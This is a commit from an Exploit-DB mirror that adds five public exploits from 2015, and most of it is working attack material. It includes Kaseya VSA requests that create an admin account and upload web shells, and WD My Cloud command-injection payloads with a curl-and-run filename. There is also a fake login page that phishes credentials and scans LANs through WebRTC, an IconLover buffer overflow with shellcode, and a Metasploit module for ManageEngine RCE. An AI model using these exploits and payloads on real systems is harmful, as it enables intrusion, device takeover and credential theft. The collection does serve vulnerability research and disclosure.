bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2015-09-30

Browse source 
5 new exploits
This commit is contained in:
Offensive Security 2015-09-30 05:03:36 +00:00
parent 24fffa54a2
commit 99aa045746
6 changed files with 577 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

5
files.csv
View file

@ -34637,3 +34637,8 @@ id,file,description,date,author,platform,type,port
38346,platforms/bsd/remote/38346.rb,"Watchguard XCS Remote Command Execution",2015-09-28,metasploit,bsd,remote,443
38347,platforms/bsd/local/38347.rb,"Watchguard XCS FixCorruptMail Local Privilege Escalation",2015-09-28,metasploit,bsd,local,443
38348,platforms/windows/dos/38348.txt,"Adobe Flash - No Checks on Vector.<uint> Capacity Field",2015-09-28,"Google Security Research",windows,dos,0
38349,platforms/windows/local/38349.py,"IconLover 5.42 - Local Buffer Overflow Exploit",2015-09-29,cor3sm4sh3r,windows,local,0
38350,platforms/hardware/webapps/38350.txt,"Western Digital My Cloud 04.01.03-421_ 04.01.04-422 - Command Injection",2015-09-29,absane,hardware,webapps,0
38351,platforms/asp/webapps/38351.txt,"Kaseya Virtual System Administrator - Multiple Vulnerabilities",2015-09-29,"Pedro Ribeiro",asp,webapps,0
38352,platforms/windows/remote/38352.rb,"ManageEngine EventLog Analyzer Remote Code Execution",2015-09-29,metasploit,windows,remote,8400
38353,platforms/linux/local/38353.txt,"Ubuntu Apport - Local Privilege Escalation",2015-09-29,halfdog,linux,local,0

Can't render this file because it is too large.

167
platforms/asp/webapps/38351.txt Executable file
View file

@ -0,0 +1,167 @@
Kaseya VSA is an IT management platform for small and medium corporates.
From its console you can control thousands of computers and mobile
devices. So that if you own the Kaseya server, you own the organisation.
With this post I'm also releasing two Metasploit modules ([E1], [E2])
and a Ruby file ([E3]) that exploit the vulnerabilities described below.
A special thanks to ZDI for assisting with the disclosure of these
vulnerabilities. The full advisory text is below, but can also be
obtained from my repo at [E4].
[E1] https://github.com/rapid7/metasploit-framework/pull/6018
[E2] https://github.com/rapid7/metasploit-framework/pull/6019
[E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
[E4]
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vs
a-vuln-2.txt
Regards,
Pedro
============
>> Multiple vulnerabilities in Kaseya Virtual System Administrator
>> Discovered by Pedro Ribeiro (pedrib (at) gmail (dot) com [email concealed]), Agile Information
Security (http://www.agileinfosec.co.uk/)
========================================================================
==
Disclosure: 23/09/2015 / Last updated: 28/09/2015
>> Background on the affected product:
"Kaseya VSA is an integrated IT Systems Management platform that can be
leveraged seamlessly across IT disciplines to streamline and automate
your IT services. Kaseya VSA integrates key management capabilities into
a single platform. Kaseya VSA makes your IT staff more productive, your
services more reliable, your systems more secure, and your value easier
to show."
A special thanks to ZDI for assisting with the vulnerability reporting
process.
These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1],
ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015.
>> Technical details:
#1
Vulnerability: Remote privilege escalation (add Master Administrator
account - unauthenticated)
CVE-2015-6922 / ZDI-15-448
Affected versions:
VSA Version 7.0.0.0 â?? 7.0.0.32
VSA Version 8.0.0.0 â?? 8.0.0.22
VSA Version 9.0.0.0 â?? 9.0.0.18
VSA Version 9.1.0.0 â?? 9.1.0.8
GET /LocalAuth/setAccount.aspx
Page will attempt to redirect, ignore this and obtain the "sessionVal"
value from the page which will be used in the following POST request.
POST /LocalAuth/setAccount.aspx
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&conf
irm=<password>&adminEmail=bla (at) bla (dot) com [email concealed]&setAccount=Create
You are now a Master Administrator and can execute code in all the
managed desktops and mobile devices.
A Metasploit module that exploits this vulnerability has been released.
#2
Vulnerability: Remote code execution via file upload with directory
traversal (unauthenticated)
CVE-2015-6922 / ZDI-15-449
Affected versions:
VSA Version 7.0.0.0 â?? 7.0.0.32
VSA Version 8.0.0.0 â?? 8.0.0.22
VSA Version 9.0.0.0 â?? 9.0.0.18
VSA Version 9.1.0.0 â?? 9.1.0.8
First we do:
GET /ConfigTab/serverfiles.asp
which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID>
Thanks for creating a valid sessionID for us, Kaseya!
POST
/ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=she
ll.asp
Cookie: sessionId=<sessionID>
<... ASP shell here...>
The path needs to be correct, but Kaseya is helpful enough to let us
know when a path doesn't exist.
A Metasploit module that exploits this vulnerability has been released.
#3
Vulnerability: Remote code execution via file upload with directory
traversal (authenticated)
CVE-2015-6589 / ZDI-15-450
Affected versions:
VSA Version 7.0.0.0 â?? 7.0.0.32
VSA Version 8.0.0.0 â?? 8.0.0.22
VSA Version 9.0.0.0 â?? 9.0.0.18
VSA Version 9.1.0.0 â?? 9.1.0.8
Login to the VSA console and obtain ReferringWebWindowId from the URL
(wwid parameter).
Create a POST request as below with the ReferringWebWindowId:
POST /vsapres/web20/json.ashx HTTP/1.1
Content-Type: multipart/form-data;
boundary=---------------------------114052411119142
Content-Length: 1501
-----------------------------114052411119142
Content-Disposition: form-data; name="directory"
../WebPages
-----------------------------114052411119142
Content-Disposition: form-data; name="ReferringWebWindowId"
31a5d16a-01b7-4f8d-adca-0b2e70006dfa
-----------------------------114052411119142
Content-Disposition: form-data; name="request"
uploadFile
-----------------------------114052411119142
Content-Disposition: form-data; name="impinf__uploadfilelocation";
filename="shell.asp"
Content-Type: application/octet-stream
<... ASP shell here...>
-----------------------------114052411119142--
A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been
been released [4].
>> Fix:
V7 â?? Install patch 7.0.0.33
R8 â?? Install patch 8.0.0.23
R9 â?? Install patch 9.0.0.19
R9.1 â?? Install patch 9.1.0.9
>> References:
[1] http://zerodayinitiative.com/advisories/ZDI-15-448/
[2] http://zerodayinitiative.com/advisories/ZDI-15-449/
[3] http://zerodayinitiative.com/advisories/ZDI-15-450/
[4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBAgAGBQJWCm9DAAoJEOToNW8ubuEaXLAQAIXcXSYwxJ5YLD0eyDxSO8z3
Vxmzf1jKqCHgTblKfW2+AaAhV7Z6u0fcjw4axV0TiRCUJgp3RANo2DkEjbrP/Pv2
L4Yk34FM0ijfgg5x6rG7M8496jm91iEYpoYcCpsnqE0ZN1RbQZWmqWjJHpVPcPno
RgjNV/OHGBzaikj5BV1yaJwT/KpvV0IGUDB54ZPto8lEYtqxfYl4+zg39DQ+GlRy
OlU+Bovj/n2AiJ52omdm1JJL3DW6rhto8FH7yRUvBeW3ofgdBHwG4Ynxk3gOAhY3
AvD2uIs5eY5siapb7/kA8RSKKuTUYo/p80hDwhkAzVYwlrkDTl7s9gSPU/KOY04/
ur64fhC/9TTEMONZ5PQdbrL5WSAVRTdcsCDbZ8YCbZxoexPzObhdV1qV99Go8Ny+
pd5WCoziQtrK8r2u6v7dsfJfYnvURG7SdcD15e1oIe4OaZzEsXxbcgLEmbskhdOP
ZmcuzkYqUfpFvaFQ3O8PMtBb8jqpkt76X4Q+0JbVG9nUzwA1nS2xoGw0Ad8NDoUi
Nw5BxwW4Z7zCSHgBI6CYUTZQ0QvZFVZXOkix6+GnslzDwXu6m1cnY+PXa5K5jJtm
/BMO8WVUvwPdUAeRMTweggoXOModWC/56BZNgquxTkayz2r9c7AdEr0aZDLYIxr0
OHLrGsL5XSDW9txZqDl9
=rF0G
-----END PGP SIGNATURE-----

113
platforms/hardware/webapps/38350.txt Executable file
View file

@ -0,0 +1,113 @@
# Exploit Title: Western Digital My Cloud Command Injection
# Vendor Homepage: http://www.wdc.com
# Firmware tested: 04.01.03-421 and 04.01.04-422 for the Personal Cloud devices
# Firmware link: http://download.wdc.com/nas/sq-040104-422-20150423.deb.zip
# Exploit Author: James Sibley (absane) ; twitter = @ab5ane
# Blog post: http://versprite.com/og/command-injection-in-the-wd-my-cloud-nas/
# Discovery date: May 10 2015
# Vendor notified: May 12 2015
# Vendor fixed: September 2015 with rolling updates
# Vendor advisory: http://community.wd.com/t5/My-Cloud/Potential-Security-Vulnerabilities-with-My-Cloud-Personal-Cloud/td-p/898578
=======================
| Overview |
=======================
The function "exec_runtime", defined in /var/www/restapi/api/Core/init_autoloader.php, executes programs and scripts on the Linux-based WD My Cloud NAS through the PHP "exec" function. In many instances, user input makes its way into the "exec" function without proper validation and sanitization. Because of this, attackers can hijack the command flow and execute arbitrary commands in the context of the user www-data. The www-data user has unrestricted sudo access so escalating to root and therefore compromising the device is trivial.
This was discovered in the "My Cloud Personal Cloud" device but other models may be affected.
=======================
| Proof of Concepts |
=======================
There are two ways to show this:
Method 1) Using the client application ("WD My Cloud Desktop") upload 2GB file with the following name: $(sudo shutdown -h now).txt
Method 2) a) Authenticate as the administrator @ http://wdmycloud:80
b) Open the following path: /api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update
In both PoCs, observe that the device powers off.
=======================
| Exploit 1 |
=======================
This exploit will make all private folders public. A video demo is in the blog.
1) On a webserver host the following as index.html:
#!/bin/bash
while read share;
do
echo UPDATE UserShares SET public_access=\"true\" WHERE share_name=\"$share\"";" | sqlite3 /usr/local/nas/orion/orion.db;
done < <(bash /usr/local/sbin/getShares.sh private)
2) Upload a 2GB file to the WD My Cloud NAS with the client application ("WD My Cloud Desktop"). Use the following name:
$(sudo curl 192.168.0.226 -o makeAllPublic.sh && sudo bash makeAllPublic.sh).txt
3) After the file uploads, refresh the file list.
=======================
| Exploit 2 |
=======================
<!-- The following PHP script will utilize CSRF and WebRTC to remotely shutdown the My Cloud device. -->
<!-- Assumes zero knowledge of device's internal IP and current authentication state. -->
<!-- Requires that the targeted user has admin rights and is on the same LAN as the My Cloud. -->
<!-- Source for the WebRTC JS code: https://dl.dropboxusercontent.com/u/1878671/enumhosts.html -->
<?php
if (empty( $_GET['exploit'] ) ) {
echo "<html>";
echo " <form id=\"login_form\" action=\"pwnmycloud.php\" method=\"get\">";
echo " <p>Your WD My Cloud is damaged. Please login to fix this!</p>";
echo " <div class=\"content_row\">";
echo " <label>Username</label>";
echo " <input class=\"NOTEMPTY\" id=\"login_username\" name=\"username\" value=\"\" type=\"text\">";
echo " </div>";
echo " <div class=\"content_row\">";
echo " <label>Password</label>";
echo " <input id=\"login_password\" name=\"password\" value=\"\" autocomplete=\"off\" type=\"password\">";
echo " </div>";
echo " <input id=\"exploit\" name=\"exploit\" value=\"true\" autocomplete=\"off\" type=\"hidden\">";
echo " <input type=\"submit\" value=\"Submit\">";
echo " </form>";
echo "</html>";
die();
} ?>
<!doctype html><html><body onload = "go()"><script>
<!-- Start compressed WebRTC code from https://dl.dropboxusercontent.com/u/1878671/enumhosts.html -->
function TaskController(e,n){this.numConcurrent=e,this.onDone=n||function(){},this.pending=0,this.queued=[],this.checkTimer=-1}function probeIp(e,n,t){var i=Date.now(),o=!1,c=document.createElement("img"),r=function(){c&&(document.body.removeChild(c),c=null)},u=function(){o||(o=!0,r(),t(e,Date.now()-i<n))};document.body.appendChild(c),c.style.display="none",c.onload=function(){u(!0)},c.onerror=function(){u(!1)},c.src="https://"+e+":"+~~(1024+1024*Math.random())+"/I_DO_NOT_EXIST?"+Math.random(),setTimeout(function(){c&&(c.src="")},n+500)}function probeNet(e,n,t){e=e.replace(/(\d+\.\d+\.\d+)\.\d+/,"$1.");for(var i=5e3,o=new TaskController(5,t),c=1;256>c;++c)o.queue(function(t,o){probeIp(e+t,i,function(e,t){t&&n(e),o()})}.bind(this,c))}function enumLocalIPs(e){function n(n){n in o||(o[n]=!0,e(n))}function t(e){e.split("\r\n").forEach(function(e){if(~e.indexOf("a=candidate")){var t=e.split(" "),i=t[4],o=t[7];"host"===o&&n(i)}else if(~e.indexOf("c=")){var t=e.split(" "),i=t[2];n(i)}})}var i=window.webkitRTCPeerConnection||window.mozRTCPeerConnection;if(!i)return!1;var o=Object.create(null);o["0.0.0.0"]=!1;var c=new i({iceServers:[]});return c.createDataChannel("",{reliable:!1}),c.onicecandidate=function(e){e.candidate&&t("a="+e.candidate.candidate)},setTimeout(function(){c.createOffer(function(e){t(e.sdp),c.setLocalDescription(e)},function(){})},500),!0}function getIPs(e){new TaskController(1);enumLocalIPs(function(n){e(n)})}TaskController.prototype.deferCheck=function(){-1==this.checkTimer&&(this.checkTimer=setTimeout(function(){this.checkTimer=-1,this.check()}.bind(this),0))},TaskController.prototype.check=function(){if(this.pending<1&&0==this.queued.length)return this.onDone();for(;this.pending<this.numConcurrent&&this.queued.length>0;)try{this.pending+=1,setTimeout(function(e){e(function(){this.pending-=1,this.deferCheck()}.bind(this))}.bind(this,this.queued.shift()),0)}catch(e){this.pending-=1,this.deferCheck()}},TaskController.prototype.queue=function(e){this.queued.push(e),this.deferCheck()},document.write=function(e){var n=document.getElementsByTagName("script"),t=n[n.length-1];t.insertAdjacentHTML("beforebegin",e)};
<!-- End compressed WebRTC code from https://dl.dropboxusercontent.com/u/1878671/enumhosts.html -->
function exploit(ip) {
var ip_part = ip.split(".");
var cidr_24 = ip_part[0] + "." + ip_part[1] + "." + ip_part[2] + ".";
if (ip_part[0] == "192" || ip_part[0] == "172" || ip_part[0] == "10") {
var expFrame = new Array(255);
for (i = 2; i < 40; i++) {
document.write("<iframe id=\"" + i + "\" src=\"http://" + cidr_24 + i +"/api/2.1/rest/local_login?username=" + "<?php echo $_GET['username'] ?>" + "&password=" + "<?php echo $_GET['password'] ?>\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");
};
for (i = 2; i < 40; i++) {
document.write("<iframe id=\"exp" + i + "\" src=\"http://" + cidr_24 + i + "/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");
setInterval( function(id) {document.getElementById(id).src = document.getElementById(id).src;}, 2000, "exp"+i );
};
};
};
function go() {
getIPs(function(ip) {
exploit(ip);
});
}; </script></body></html>
=======================
| Mitigation |
=======================
An update to the firmware has been released as of 9/28/15.
Additional steps include:
* Don't click on links from websites or people you don't know or trust ;)
* Disable WebRTC in your browsers.
* Restrict access to the My Cloud device to only trusted users that need access to it.
* Disable remote access to the device if it is not used.
* Avoid using the client application until a firmware update has been applied.

13
platforms/linux/local/38353.txt Executable file
View file

@ -0,0 +1,13 @@
Source: http://www.halfdog.net/Security/2015/ApportKernelCrashdumpFileAccessVulnerabilities/
Problem description: On Ubuntu Vivid Linux distribution apport is used for automated sending of client program crash dumps but also of kernel crash dumps. For kernel crashes, upstart or SysV init invokes the program /usr/share/apport/kernel_crashdump at boot to prepare crash dump files for sending. This action is performed with root privileges. As the crash dump directory /var/crash/ is world writable and kernel_crashdump performs file access in unsafe manner, any local user may trigger a denial of service or escalate to root privileges. If symlink and hardlink protection is enabled (which should be the default for any modern system), only denial of service is possible.
Problematic syscall in kernel_crashdump is:
open("/var/crash/linux-image-3.19.0-18-generic.0.crash", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE|O_CLOEXEC, 0666) = 30
...
open("/var/crash/vmcore.log", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 31
Thus the output file is opened unconditionally and without O_EXCL or O_NOFOLLOW. Also opening of input file does not care about links.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38353.zip

61
platforms/windows/local/38349.py Executable file
View file

@ -0,0 +1,61 @@
# Exploit Title: IconLover v5.42 Buffer Overflow Exploit
# Date: 29/09/2015
# Exploit Author: cor3sm4sh3r
# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/in/cor3sm4sh3r
# Twitter: https://twitter.com/cor3sm4sh3r
# Category: Local
# Tested : win XP professional sp2
'''
Credits & Authors:
==================
ZwX (http://zwx.fr/)
[http://www.vulnerability-lab.com/show.php?user=ZwX]
#References (Source):
http://www.vulnerability-lab.com/get_content.php?id=1609
Affected Product(s):
====================
AHA-Soft
Product: IconLover - Software (Windows) 5.42 and 5.45
Manual steps to exploit...
1. Copy the content of exploit.txt to your clipboard
2. Run the IconLover.exe software
3. Click the File -> New Icon Lybrary option
4. Click the Lybrary and push the Download button
5. Paste it the input Website Adress (URL) AAAA+... string click ok and hide
6. Successful exploitation will open an instance of calc.exe!
'''
#!/usr/bin/env python
#badchars = "\x00\x0a\x0d"
junk = "\x41" * 1039
eip = "\xed\x1e\x94\x7c" #jmp esp 7c941eed ntdll.dll ( XP sp2 )
nopsled ="\x90"*20
shellcode = "\x33\xc0" #=> XOR EAX,EAX | Zero out EAX register
shellcode += "\x50" #=> PUSH EAX | Push EAX to have null-byte padding for "calc.exe"
shellcode += "\x68\x2E\x65\x78\x65" #=> PUSH ".exe" | Push The ASCII string to the stack
shellcode += "\x68\x63\x61\x6C\x63" #=> PUSH "calc" |
shellcode += "\x8B\xC4" #=> MOV EAX,ESP | Put a pointer to the ASCII string in EAX
shellcode += "\x6A\x01" #=> PUSH 1 | Push uCmdShow parameter to the stack
shellcode += "\x50" #=> PUSH EAX | Push the pointer to lpCmdLine to the stack
shellcode += "\xBB\x4d\x11\x86\x7C" #=> MOV EBX,7C86114d | Move the pointer to WinExec() into EBX
shellcode += "\xFF\xD3" #=> CALL EBX
shellcode += "\x33\xc0" #=> XOR EAX,EAX | Zero out EAX register
shellcode += "\x50" #=> PUSH EAX | Push EAX
shellcode += "\xBB\xa2\xca\x81\x7c" #=> MOV EBX,7C81caa2 | Exit process
shellcode += "\xFF\xD3" #=> CALL EBX
packet = junk + eip + nopsled + shellcode + nopsled
file=open('exploit.txt','w')
file.write(packet)
file.close()

218
platforms/windows/remote/38352.rb Executable file
View file

@ -0,0 +1,218 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
'Description' => %q{
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
build 10060 and previous versions. Every authenticated user, including the default "guest"
account can execute SQL queries directly on the underlying Postgres database server. The
queries are executed as the "postgres" user which has full privileges and thus is able to
write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
privileges on the web server. This module has been tested successfully on ManageEngine
EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
['EDB', '38173']
],
'Platform' => ['win'],
'Arch' => ARCH_X86,
'Targets' =>
[
['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 11 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8400),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
], self.class)
end
def uri
target_uri.path
end
def check
# Check version
vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'event', 'index3.do')
})
if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def sql_query(cookies, query)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'event', 'runQuery.do'),
'cookie' => cookies,
'vars_post' => {
'execute' => 'true',
'query' => query,
}
})
unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
end
res
end
def generate_jsp_payload(cmd)
decoder = rand_text_alpha(4 + rand(32 - 4))
decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
cmd_array = rand_text_alpha(4 + rand(32 - 4))
jsp_code = '<%'
jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
jsp_code << "String [] #{cmd_array} = new String[3];\n"
jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n"
jsp_code << "#{cmd_array}[1] = \"/c\";\n"
jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n"
jsp_code << '%>'
jsp_code
end
def exploit
print_status("#{peer} - Retrieving JSESSION ID")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'event', 'index3.do'),
})
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
jsessionid = $1
print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!")
end
print_status("#{peer} - Access login page")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
'vars_post' => {
'forChecking' => 'null',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'domains' => "Local Authentication\r\n",
'loginButton' => 'Login',
'optionValue' => 'hide'
}
})
if res && res.code == 302
redirect = URI(res.headers['Location'])
print_status("#{peer} - Location is [ #{redirect} ]")
else
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
end
# Follow redirection process
print_status("#{peer} - Following redirection")
res = send_request_cgi({
'uri' => "#{redirect}",
'method' => 'GET'
})
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/
cookies = res.get_cookies
print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]")
else
fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!")
end
jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp'
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/\n/, '')
print_status("#{peer} - Executing SQL queries")
# Remove large object in database, just in case it exists from previous exploit attempts
sql = 'SELECT lo_unlink(-1)'
result = sql_query(cookies, sql)
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
sql = 'SELECT lo_create(-1)'
result = sql_query(cookies, sql)
if result.body =~ /menuItemRow\">([0-9]+)/
loid = $1
else
fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
end
select_random = rand_text_numeric(2 + rand(6 - 2))
# Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc.
sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--"
result = sql_query(cookies, sql)
# Export our large object id data into a WAR file
sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');"
sql_query(cookies, sql)
# Remove our large object in the database
sql = 'SELECT lo_unlink(-1)'
result = sql_query(cookies, sql)
register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")
print_status("#{peer} - Executing JSP payload")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, jsp_name),
})
# If the server returns 200 we assume we uploaded and executed the payload file successfully
unless res && res.code == 200
print_status("#{res.code}\n#{res.body}")
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
end
end
end